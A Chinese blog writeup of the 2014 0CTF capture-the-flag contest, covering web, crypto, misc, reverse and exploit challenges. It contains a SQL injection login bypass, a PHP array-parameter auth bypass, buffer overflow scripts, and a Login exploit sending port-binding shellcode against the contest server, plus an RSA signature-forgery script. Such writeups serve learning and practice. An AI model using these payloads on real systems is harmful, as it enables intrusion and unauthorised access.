Quantcast
Channel: 程序人生 »代码疯子
Viewing all articles
Browse latest Browse all 59

0ops CTF/0CTF writeup

$
0
0

0×00 0CTF
『第一届0ops信息安全技术挑战赛,即0ops Capture The Flag,以下简称0CTF。 0CTF由上海交通大学网络信息中心和上海市信息安全行业协会指导,由上海交通大学信息网络安全协会承办,是2014信息安全技能竞赛校园赛首站。0CTF注册与参赛地址为http://ctf.0ops.net。 比赛时间为北京时间2014年3月1日至2日,每天7时至23时,共32小时。』

看官方微博,这个比赛本来是面向上交校内的,就是校外可以做题但是不发奖,后来也给校外发奖了,整体感觉还不错,好多大牛过来刷题了,没有挤进前六名去……不过当做BCTF的一次练手吧,平时都在实验室打酱油,做个比赛还是可以学到不少东西的。写个Blog记录一下过程,题目只做简单描述,具体可以看官方页面http://ctf.0ops.net,要登录才能看到题目,不知道现在还能否注册。

0×01 [Web]Spy
[题]简单的Web题目,总共四关,每一关都要输入数字,并保证输入的数字比服务器给的大。
1. text框最多输入3位数字,服务器随机返回4位数字,这个审查元素改一下maxlength属性就好了;
2. text框最多输入3位数字,服务器随机返回数字,这个改maxlength属性不然过,但是发现服务器偶尔会返回三位数字,这样的话一直提交999,总会过的;
3. 看谁出的数的倒数比较小谁就算赢!输入-1直接过了;
4. 每人给出一个数,然后比谁的数的EVIL值大。啥是EVIL值?就是该数字每位ASCII码的乘积呗,比如’123′这个数,三位数字的ASCII码分别是49, 50, 51乘起来是124950,这个就是123这个数的EVIL值。这个题最多输入6位,服务器的EVIL值很大,不过输入0xFFFF就过了;

0×02 [Crypto]Classic
[题]小丁丁发现自己置身于一个诡异的房间,面前只有一扇刻着奇怪字符的门。 他发现门边上还有一道密码锁,似乎要输入密码才能开门。。4esxcft5 rdcvgt 6tfc78uhg 098ukmnb
[解]这个比较诡异……通过键盘布局解密:0ops

通过键盘布局解密

通过键盘布局解密

0×03 [Misc]IPv4
[题]截止到2014.2.23,亚太互联网络信息中心分配给中国大陆的IPv4地址是多少个?
[解]下载文件http://ftp.apnic.net/stats/apnic/2014/delegated-apnic-20140223.gz进行统计分析。文件格式为:

apnic|CN|ipv4|1.2.2.0|256|20110331|assigned
等级机构|获得该IP段的国家/组织|资源类型|起始IP|IP段长度|分配日期|分配状态

我用Python解析的,读入每行数据split一下就好了,得到330393088。

0×04 [Exploit]Welcome
[题]在服务器202.120.7.6:32323上运行了一个程序,溢出拿KEY。
[解]IDA分析程序,B函数可以溢出:

char *__cdecl B()
{
  char *result; // eax@1
  char s; // [sp+1Ch] [bp-40Ch]@1
  int v2; // [sp+20h] [bp-408h]@1
  __int16 v3; // [sp+24h] [bp-404h]@1
  char v4; // [sp+26h] [bp-402h]@1
  int v5; // [sp+41Ch] [bp-Ch]@1
 
  v5 = 0;
  memset(&s, 0, 1016u);
  puts("Welcome to 0ops CTF.");
  fflush(stdout);
  gets(&s);
  result = &s;
  *(_DWORD *)&s = *(_DWORD *)"HelloKitty";
  v2 = *(_DWORD *)&aHellokitty[4];              // o
  v3 = *(_WORD *)&aHellokitty[8];               // t
  v4 = aHellokitty[10];                         // \0
  if ( v5 )                                     // 覆盖到v5即可
                                                // 1016+4+2+1=1023 多覆盖一个byte即可
  {
    fd = (int)fopen("./flag.txt", "r");
    __isoc99_fscanf(fd, "%s\n", &s);
    puts(&s);
    result = (char *)fflush(stdout);
  }
  return result;
}

开始忘了加\n,郁闷了好久……

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('202.120.7.6', 32323))
    print sock.recv(1024)
    sock.send('a'*1025+'\n')        # 一定要有\n
    print "send done"
    print sock.recv(2048)
    sock.close()

0×05 [Web]System
[题]小丁丁在无意中发现了一个对方的内部登陆系统,可惜他不知道用户名和密码,该怎么办呢?
[解]简单的SQL注入,用户名输入下面的代码即可:

'or 1=1#

0×06 [Crypto]Dict
[题]小丁丁一直潜伏在邪恶黑客组织的总部大楼附近。他知道邪恶黑客组织的内部密码Hash方式是咸的(Salted),但是 没有正确的通行口令他无法潜入。他每天都在仔细分析这栋大楼的办公室垃圾,想要从中找到一些线索。这一次,他捡到了某个员工的备忘小便签:

WORD is a common english word
len(WORD) = 4
md5(WORD + '0ops!^_^') = 'e79dc003a53edc551c5ef8364e97b2e2'
HASH = md5(WORD)
FLAG = 0ops{HASH}

[解]四个字母组成的英语单词,这个直接枚举并比较MD5值就行了,很快就找到了单词join。

0×07 [Crypto]JohnCode
[题]小丁丁伪装成内部员工潜入了邪恶黑客组织,在群邮件中,他得知他们正在开发一套新的加密算法JohnCode。小丁丁看到了群共享的源代码,陷入了深深的沉思。 你能帮他破解这个囧呆马吗?
eaxRa8RO8gyXLs/5lZO2jUk32bGGN9DoA5hi1MBswPnWw28pk2f=
JohnCode加密算法源代码:

import hashlib
 
def johncode(msg, key):
	token = hashlib.md5(key).digest()
	res = ""
	password = "0ops Capture The Flag"
	for c in msg:
		n = ord(c) ^ 0xde ^ 0xad ^ 0xbe ^ 0xef
		for i in xrange(16) :
			n ^= ord(password[i]) ^ ord(token[i])
		res += chr(n)
		token = hashlib.md5(chr(n)).digest()
	return res.encode('base64').encode('rot13')

[解]这个可以直接逆推的,因为每一轮的token都是上一轮的字符的MD5值。不过因为不知道key,所以第一位没法解出来,但是题目说了FLAG的格式,所以第一位是0,解密的代码如下:

import hashlib
 
def getConstXor():
    return 0xde ^ 0xad ^ 0xbe ^ 0xef
 
def getPwdXor():
    password = "0ops Capture The Flag"
    res = 0
    for i in xrange(16):
        res ^= ord(password[i])
    return res
 
def getMd5Xor(val):
    token = hashlib.md5(val).digest()
    res = 0
    for i in xrange(16):
        res ^= ord(token[i])
    return res
 
if __name__ == "__main__":
    ctftext = "eaxRa8RO8gyXLs/5lZO2jUk32bGGN9DoA5hi1MBswPnWw28pk2f="
    ciphertext = ctftext.decode("rot13").decode("base64")
    ctlen = len(ciphertext)
    constXor = getConstXor()
    pwdXor = getPwdXor()
    i = ctlen - 1
    msg = ""
    while i >= 1:
        tokenXor = getMd5Xor(ciphertext[i-1])
        msg = msg + chr(ord(ciphertext[i]) ^ tokenXor ^ pwdXor ^ constXor)
        i = i - 1
    # msg = }4660b46c5eb87b6e4b618a2804b40ee4{spo
    msg = msg[::-1]
    # msg = ops{4ee04b4082a816b4e6b78be5c64b0664}
    # 答案是 0ops{4ee04b4082a816b4e6b78be5c64b0664}

0×08 [Reverse]Waltz
[题]APK逆向分析:http://ctf.0ops.net/attachment/download/EndlessWaltz.zip
[解]解压APK得到classes.dex,然后使用dex2jar得到jar文件,然后使用JD-GUI就可以看Java代码了,就是几个字符串替换和BASE64加解密。

0×09 [Misc]FakeUser
[题]小丁丁有隔天备份ctf.0ops.net数据库的习惯,就在比赛开始前一天,小丁丁突然发现备份似乎被人修改了,似乎额外增加了几个账户。可是小丁丁已经不记得有哪些账户了,这可怎么办?
注意:此题的FLAG是取 所有虚假账户的ID之和,求MD5,再拼上0ops{…} 即0ops{md5(sum of IDs of fake users)}
[解]将SQL文件导入数据库,提示换行符不一致!所有换行符为\r\n的都是假的账户。

0x0A [Exploit]Login
[题]溢出服务器上的一个程序,位于202.120.7.110:55632
[解]getpath函数中,gets可以溢出,最后调用了strdup,这个函数会分配一段空间保存输入的内容,把返回地址覆盖为call eax的地址,那么返回的时候就会执行shellcode了。

char *__cdecl getpath()
{
  char s; // [sp+8h] [bp-25Ch]@1 [604]
  void *v2; // [sp+260h] [bp-4h]@1
  unsigned int v3; // [sp+268h] [bp+4h]@1
 
  printf("Input Name Please: ");
  fflush(stdout);
  gets(&s);                             // 获取输入
  v2 = (void *)v3;                      // v3 == 608
  if ( (v3 & 0xB0000000) == 0xB0000000 )// 覆盖返回地址, 返回地址存入v3
  {
    printf("HEHE (%p)\n", v2);
    _exit(1);
  }
  printf("Got Name %s\n", &s);
  return strdup(&s);                    // 分配空间复制字符串, 返回值指向复制的字符串
}

call eax可以随便找一个:

.text:08048A4B                 call    eax ; __CTOR_LIST__

不过我找了好多Shellcode都不管用……最后找了个开端口的,执行之后nc连接,cat flag.txt即可。

def testServer():
    # http://www.shell-storm.org/shellcode/files/shellcode-370.php
    # port : 5074
    shellcode = ("\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff"+
                "\xff\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04" +
                "\x47\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xedDBMAFAEAIJMD" +
                "FAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAFBFAIJOBLAGGMN" +
                "IAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIAJDIJNBLADPMNIAEB" +
                "IAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJOBLAALMNIA")
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #sock.connect(('192.168.218.129', 55632))
    sock.connect(('202.120.7.110', 55632))
    print sock.recv(1024)
    #sock.send('A'*608+'\xB0'*4+'\n')
 
    sock.send(shellcode + '\x90'*(608-len(shellcode))+'\x4B\x8A\x04\x08'+'\n')
    print "send done"
    print sock.recv(2048)
    print sock.recv(2048)
    while True:
        acmd = raw_input("CMD> ")
        sock.send(acmd)
        sock.send(acmd)
        print sock.recv(2048)
        time.sleep(0.1)

0x0B [Reverse]HackGate
[题]给定一个setup.exe,求KEY。
[解]setup.exe,是个安装包,要求输入密码才能安装。开始直接调试这个程序,发现根本断不下来,发现创建了子进程,于是调试子进程,发现用了MD5、SHA以及CRC32算法,后来差一下发现是个Inno Setup的安装包,然后我还找到了能够绕过密码直接提取文件的程序(当然找了好几个才发现一个叫做InnoExtractor的程序),于是直接把里面的EXE抠出来了,是g++编译的,我电脑装了还跑不起来,可能DLL版本不对。直接托IDA看字符串就找到KEY了……当然要稍微变换一下,key是0ops{EL_PSY_CONGROO}。其实找到的字符串是LE_PSY_CONGROO,我用Google搜的时候,提示我是EL_PSY_CONGROO。

El Psy Congroo在动画《命运石之门》播出之后才火起来的。
冈部伦太郎使用了很久用意义不明的话,能够自我暗示,使自己镇静下来。

不过有时候做这种题,没加密的话很容易偷懒的……(我这样会被鄙视吗?)

0x0C [Web]Signal
[题]绕过网站登陆。
[解]给提示了,这题和数据没关系,和PHP的一些检查方式有关系……审查元素,修改password字段名字(在name字段的值后面加上数组符[]),输入任意密码提交:

<form class="form-signin" action="login_ok.php" method="post">
    <h2 class="form-signin-heading">Please sign in</h2>
    <input type="text" class="input-block-level" name="id" value="159.226.43.61" readonly="">
    <input type="password" class="input-block-level" name="ps[]" placeholder="Password">
    <label class="checkbox">
      <input type="checkbox" value="remember-me"> Remember me
    </label>
    <button class="btn btn-large btn-primary" type="submit">Sign in</button>
</form>

0x0D [Crypto]RSASign
[题]小丁丁继续在邪恶组织总部探索。他发现组织内部有一个专用的身份签名系统。只要能拿到最高权限的账户签名,他就可以得到最高权限啦!幸运的是,小丁丁又一次拿到了它的源码
[解]考察数论相关的知识了。
同余形式:若a % N = A 且 b % N = B,那么有(ab) % N = (AB) % N;
同理对于RSA有:若a^d % N = A 且 b^d % N = B,那么有[(a^d)*(b^d)] % N = (AB) % N;
现在服务器能够返回给定任意数据a,返回a^d % N的值A,如果能拿到0ops(假设转化为数值之和为c)的返回值:c^d % N = C,即拿到C的值就可以拿到KEY了。

a^d % N = A
b^d % N = B
c^d % N = C

分解c,假设c = a*b,那么有(A*B)≡C mod N,计算一下,c刚好能够分解,那么我们就可以从服务器拿回A和B了,如果知道了N,就可以拿到C了。不过对于这个题,拿到AB就已经够了,因为RSA签名验证就是(A*B)^e % N。不过N还是可以求出来的,大神提供的思路如下:

2^d % N = A
4^d % N = B 即 (2*2)^d % N = B
8^d % N = C 即 (2*2*2)^d % N = C
有M = GCD(A*A-B, A*A*A-C)
注意这里求出的M可能是kN,也就是是N的倍数,如果运气好就是N了,不然要多找几次。

下面是解题代码,会求出N。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
import time
import socket
import string
 
def int2str(n):
    charset = string.digits + string.letters
    p = len(charset) + 1
    s = ""
    while n:
        s = s + charset[n%p-1]
        n /= p
    return s[::-1]
 
def str2int(s):
    """
        map
            '0' =>  1
            '1' =>  2
                ...
            '9' =>  10
            'a' =>  11
                ...
            'z' =>  36
            'A' =>  37
                ...
            'Z' =>  62
    """
    charset = string.digits + string.letters
    p = len(charset) + 1
    r = 0
    for c in s :
        r = r * p + charset.index(c) + 1
    return r
 
def getFactor():
    ops = str2int('0ops')
    a = b = 0
    for i in range(2, ops):
        if ops % i == 0:
            a, b = i, ops/i
            print "%d * %d = %d" % (a, b, ops)
            break
    sa = int2str(a)
    sb = int2str(b)
    print "%d --> %s" % (a, sa)
    print "%d --> %s" % (b, sb)
    return sa, sb
 
def getAuthKey(s):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('202.120.7.5', 38241))
    sock.recv(2048)
    time.sleep(0.5)
    sock.recv(2048)
    sock.send('1\n')    # register
    sock.recv(2048)
    time.sleep(0.1)
    sock.send(s + '\n')
    sock.recv(2048)
    authKey = sock.recv(2048)
    sock.close()
 
    print "Username: %s" % s
    print authKey
    return authKey.strip()
 
def getGCD(a, b):
    if a < b:
        a, b = b, a
    while b != 0:
        tmp = a % b
        a = b
        b = tmp
    return a
 
def getN():
    userlist = [2, 4, 8]
    keylist = []
    for user in userlist:
        keylist.append(int(getAuthKey(int2str(user))))
    diff = []
    diff.append(pow(keylist[0], 2) - keylist[1])
    diff.append(pow(keylist[0], 3) - keylist[2])
    return getGCD(diff[0], diff[1])
 
def getFlag(authKey):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('202.120.7.5', 38241))
    sock.recv(2048)
    time.sleep(0.5)
    sock.recv(2048)
    sock.send('2\n')    # login    
    sock.recv(2048)
    time.sleep(0.1)
    sock.send('0ops\n') # username
    sock.recv(2048)
    time.sleep(0.1)
    sock.send(str(authKey) + '\n') # authKey
    print sock.recv(2048)
    print sock.recv(2048)
    sock.close()
 
if __name__ == "__main__":
    sa, sb = getFactor()
    ka = getAuthKey(sa)
    kb = getAuthKey(sb)
    kab = int(ka) * int(kb)
    print "authKey[%s] * authKey[%s] = \n%d\n" % (sa, sb, kab)
    n = getN()
    print "N = \n%d\n" % n
    flagKey = kab % n
    print "authKey[0ops] = \n%d\n" % flagKey
    getFlag(flagKey)
    raw_input("<Enter>")
 
"""
163 * 2153 = 350939
163 --> 1A
2153 --> xa
Username: 1A
21533328170418378084667829333241475137237189840136413341659043482256097510873406
80778085936300557220305925866245746162556818225595325428891118543277776000224693
94153804439920506389342914152518686076142925020261268165134548156640326678913058
32183740222011549816792593422992831392821041521696985409510603614521305240365730
69993107868111616188102944903092890088304093759066757333321808861343015436285431
83423748039157813181828728529338570079483125070881458603012233228629889625998610
77837188029428966569684473488137929071603810228867022108243630344706359935318974
659363579802989602917857042437294261061356335491933174051
 
Username: xa
25488744768722406399022993210073505421411878358623824552700157019662731668788913
29696762464701716291111290751757383920248775850436486970351641724147165259120289
88289621607449227239688925130507701532735104032594188602562364841462980159493017
96811103500139479056818978083991583831585928689088971640016014467405404108823622
37555222332241091523009935298355178015132729923435885189369662045864007701562485
91622365205822004617452169129111881126526480558419450732992640082382159767752794
22962647696103667805075981389049729228576300327608699296783543259431738187799821
731862053896502779740294350970620551593589183858097468202
 
authKey[1A] * authKey[xa] =
54885750575693426083919531510934514350135708923403345930121911623724478234602268
27979542454055898817768822046755196649628234154462632065635709315217301905443578
15053213360938990523525651515977264898624869669693382733171731889768054632085639
40081552196281561143501153944763925013800347447018887135453722798415734016750151
92184836862276059791184086691283031159039851810771777962934768576429259231364133
41834110889564427268927559492552852974023169921476230425928104005016422929418070
39593591140411537137125967387946130071547972790632118133896625499729357543308816
65448091364193997682005248870200041504023381016446066909023878970529319079800086
13808551432638083920706237377055192075931504657100138782762634126828570096626000
21740987778485284470130972040488510155441233144261202690270073340308044559909236
88022604483095012235643404016986395825071264788489401081410846239399008256383444
27783542166239774991615310457893021925122329284187579913245305211704054543963112
46617591745725112264275325834238989453825259130717300416524844869106838890002150
13539418987344763704144532367013919237191922725980132605207837102132907895624432
66607899392071332859380943060605852067363066333823230424467584589398587263860042
119105342842310261180736904026302
 
Username: 1
22162592382709279239675078287209487170257682361511277398481832147372823215451206
29012234993254397116315506291018552849006256580425529369872729697550238374739494
48772829679652923225545207924144536536130669962018422146411134841875616397357134
29568880006878286534623642415790091356045364443763159224635646171861388242085726
97265299606708141770914574335615303479761746656913880214780405285865156974703663
68707812547485603274962190456901154898407556530407582248442240935713344954001743
70460314565217400045829838047916742777893191557151837606275064117735853844147609
312638348348883587842186583304381307199776987787088683213
 
Username: 3
18555505824880771273727540829711672221676629831658469028977988584440554873780436
45137773386560133644983364637659004337061718305660923166817411197766375793405718
05103029732367220924127309328528302634299493223853139595279355089050203206293974
86840898999244645854695909576241621143659347688557261209638462191011865971149242
79464762884238981766433085461726300411125242999959696850859594687622334871918471
71670809991958427666213019092095767990137873589365923128683417543694089792152878
77150847918268764278582616037769773086098337088950812318405615762304350575303071
079091404763125577831379208432103400658648842256675379806
 
Username: 7
52482204868424933403557570627260487449813958439686870244092838847494332548446073
45602512803692746763888792435320054869228129209697946733034825577367868675415020
40650190376660294128759355299952166682183127812142558455298025750832300811952889
86463990447494116385230643606657822311838848399664307028247794759330657294253921
87875591907107721872039909705488324146809722005199670346002505042495876768793064
69944991228386536399164224058905493762703168633149946839305007134191114427394941
72485062533747457130652067041438480378568459966504351977884309118621219929633189
06584017724632422879044239426508028014318144849268674008
 
N =
29610211050329808378232545552699749436594480437122054986865680099884890513872850
75525661987282310273914255054387679145058167010821716155270450004228110100462580
61209364757602907910617119263438600005472312713489338816033264709490529535130190
96378961760344107740968951046321793825376720940083912117401942507142416424502224
52716016867059810410289101671971086362182186474576259372154998140093546592864747
64210175590855355005120986623171403794224031596995562230659609347027503141992475
47770245690981730429515128740909571870394089884652117078715034645606613009469198
724251507254450039197449345504428016016268512178144465269
 
authKey[0ops] =
13110205844472582078508561586009616010511440950399464874188864349291652777783298
99881232052318532954986646824467063842227828770517196037207171044544695490940912
12423450401458576493793741404979648318705923086553715197114747437125272098839105
53827198360050895608734309931663997144339422020764921090587199992980596843329551
10835974076198749267323036625564956690953923683306767300917098380913656898698173
63407386614802670044895487509786218738456054495098285103711261589674380370321433
35083314522191405782002192706825562995912444112388730499459139167637817864843651
545728753985843329656352477751861819954384211132836924156
 
You win!
Flag is: 0ops{03e2bca28698ca3b2b8b50c594ae4e89}
 
"""

0x0E [Misc]Game
[题]小丁丁找到邪恶组织的人想要和他们在安全技术上一较高下,然而却被告知你太嫩了,我们先不玩别的先来盘游戏吧,如果赢了我,再来谈技术的问题也不迟啊哈哈哈哈哈。
[解]这个是个取石子游戏,大家应该见过,OJ上面也会常见,虽然我连这个也不会,不过搜一下还是有很多解决方案的。服务器会返回N堆石子给你,你要最后面拿光所有的石子,你就赢了这一个round。
也就是Nimm Game,有k堆石子,两个人轮流从某一堆取任意多的物品,规定每次至少取一个,多者不限。取走最后石子的人获胜。

引入一个概念,平衡状态,又称作奇异局势。当面对这个局势时则会失败。任意非平衡态经过一次操作可以变为平衡态。
每个玩家都会努力使自己抓完石子之后的局势为平衡,将这个平衡局势留给对方。因此,玩家A能够在初始为非平衡的
游戏中取胜,玩家B能够在初始为平衡的游戏中取胜。
 
最后一个奇异局势是(0,0...,0)。另一个奇异局势是(n,n,0...0),只要对手总是和我拿走一样多的物品,最后会面对
(0,0...,0)。
 
奇异局势的判定:
    对于一个普通的局势,如何判断其是不是奇异局势?对于一个局势(s1,s2,...sk),对所有石子个数做位的异或运
算,s1^s2^s3^...^sk,如果结果为0,那么局势(s1,s2,...sk)就是奇异局势(平衡),否则就不是(非平衡)。
    从二进制位的角度上说,奇异局势时,每一个bit位上1的个数都是偶数。
 
玩家的策略:
    就是把面对的非奇异局势变为奇异局势留给对方。也就是从某一堆取出若干石子之后,使得每一个bit位上1的个数
都变为偶数,这样的取法一般不只有一种。可以将其中一堆的石子数变为其他堆石子数的位异或运算的值(如果这个值
比原来的石子数小的话)。
 
参见:http://blog.csdn.net/ojshilu/article/details/16812173

照着这个思路写了个脚本,但是比较蛋疼的是服务器每次只从一堆石头中取出一个,这样我也只能取出1个,而这样下来就严重拖慢了速度,而服务器最初设置了100个round,我跑了1个多小时才跑完50个round,然后管理员认为100轮太多了,就把服务器端了调整为50轮,于是我又跑了1个小时左右,中午吃完饭回来就返回了key了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import sys
 
def parseInput(s):
    idx = s.find("I pick")  # 过滤无关数据
    if idx != -1:
        s = s[idx:]
    idx = s.find("There are totally")   # 过滤无关数据
    if idx != -1:
        s = s[idx:]
 
    lines = s.split('\n')
    res = []
    for l in lines:
        l = l.strip()
        data = l.split(': ')
        if len(data) == 2 and data[0].find("Pile") != -1:
            res.append(int(data[1]))
    return res
 
def pickStone(s):
    l = len(s)
    maxCount = 0
    idx = 0
    for i in range(0, l):
        tmp = 0
        for j in range(0, l):
            if j == i:
                continue
            tmp = tmp ^ s[j]
        if tmp < s[i]:
            if maxCount < s[i]-tmp:
                maxCount = s[i]-tmp
                idx = i
    return (idx, maxCount)
 
if __name__ == "__main__":
    #redirectOutput()
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('202.120.7.108', 17733))
    print sock.recv(4096)
    while True:
        data = sock.recv(4096)
        print data
        arr = parseInput(data)
        print arr
        idx, count = pickStone(arr)
        sock.send("%d\n" % idx)
        print "%d" % idx
        data = sock.recv(4096)
        print data
        sock.send("%d\n" % count)
        print "%d" % count
        print sock.recv(4096)

0x0F [Misc]Girl
[题]图片隐写术

0CTF Misc Girl 图片隐写术

0CTF Misc Girl 图片隐写术


[解]图片无限放大之后会发现右上角有四个小点,这里面隐藏了信息,当然这里全是一堆红色,看起来相当的晃眼!!这里面的像素点存在色差,我们需要对其进行二值化处理。下图是截取的一个图,我给四个小点画了个圈,只是为了方便各位看官辨别。
图片隐写术

图片隐写术


大家可以把原图下载下来放大之后,在信息隐藏区域取色就能看到色差(比如QQ截图工具就有取色功能)
正常的背景色RGB是(235,1,2),四个边界点的RGB是(225,0,0),鼠标在区域内移动的时候,有两个RGB值,分别是(235,1,2), (236,1,2),看到了没,(235,1,2)就是背景色的RGB值。
刚开始以为这个是二维码,就把背景色设置为白色(255,255,255),把四个边界点的颜色设置为蓝色(0,0,255),把二维码中的颜色设置为黑色(0,0,0),以为差不多就OK了,谁知道这货不是二维码,是二进制信息。
其实不是二维码

其实不是二维码


隐藏信息的区域我画了个圈,从图中可以看出,如果白色代表0,黑色代表1,我们转成二进制得到0×30和0x6F,这就是0和o,也就是Flag的前缀0ops了,完善一下代码就有key了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import string
from PIL import Image
 
"""
# It's not QR code :)
def showQRCode(fpath):
    bmp = Image.open(fpath)
    pix = bmp.load()
    w, h = bmp.size
    for x in xrange(0, w):
        for y in xrange(0, h):
            if pix[x, y] == (235,1,2):
                pix[x, y] = (255,255,255)
            elif pix[x, y] == (225,0,0):
                pix[x, y] = (0, 0, 255)
            elif pix[x, y] == (236, 1, 2):
                pix[x, y] = (0, 0, 0)
            else:
                pix[x, y] = (255, 255, 255)
    bmp.save(fpath)
"""
 
def getFlagHex(fpath):
    bmp = Image.open(fpath)
    pix = bmp.load()
    w, h = bmp.size
 
    c = []
    for y in xrange(0, h):
        for x in xrange(0, w):
            if pix[x, y] == (225,0,0):
                c.append((x, y))
 
    flag = ""
    for y in xrange(c[0][1]+1, c[2][1]):
        x = c[0][0] + 1
        for i in xrange(0, 4):
            ch = 0
            for j in xrange(0, 4):
                tmp = 0
                if pix[x+i*4+j, y] == (236, 1, 2):
                    tmp = 1
                ch = (ch<<1) + tmp
            flag = flag + ("%x" % ch)
    bmp.save(fpath)
    return flag
 
def getFlag(flagHex):
    flag = ""
    tmp = 0
    for i in xrange(0, len(flagHex)):
        val = string.hexdigits.index(flagHex[i])
        if i&1:
            flag = flag + chr(tmp*16 + val)
            tmp = 0
        else:
            tmp = val
    return flag
 
if __name__ == "__main__":
    flagHex = getFlagHex("girl.bmp")
    flag = getFlag(flagHex)
    raw_input(flag)

输出flag为:0ops{Never_giving_up!Fighting!!}

0×10 [Exploit]WebServer
[题]在服务器202.120.7.111:44774上运行了一个程序,提供奇怪的web服务,能处理你的HTTP请求。看看这个web服务里有没有什么非同寻常的秘密?注意:没有NX以及aslr。提供libc.so.6文件下载。
[解]这个是GOT表覆盖与printf格式化写任意内存漏洞,exploit-exercises上面的format最后一题和这个类似,不过只怪我当时候没有认真做题,这个题就没交了……囧rz,这个题有空再补上吧。

0×11 Rank List
这次的马甲是“栈溢出了”,排第八,被前排的大神挤下来了。我平时一般用另一个马甲,叫Wins0n

0CTF Scoreboard 校外

0CTF Scoreboard 校外



本文地址: 程序人生 >> 0ops CTF/0CTF writeup
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!


Viewing all articles
Browse latest Browse all 59

Trending Articles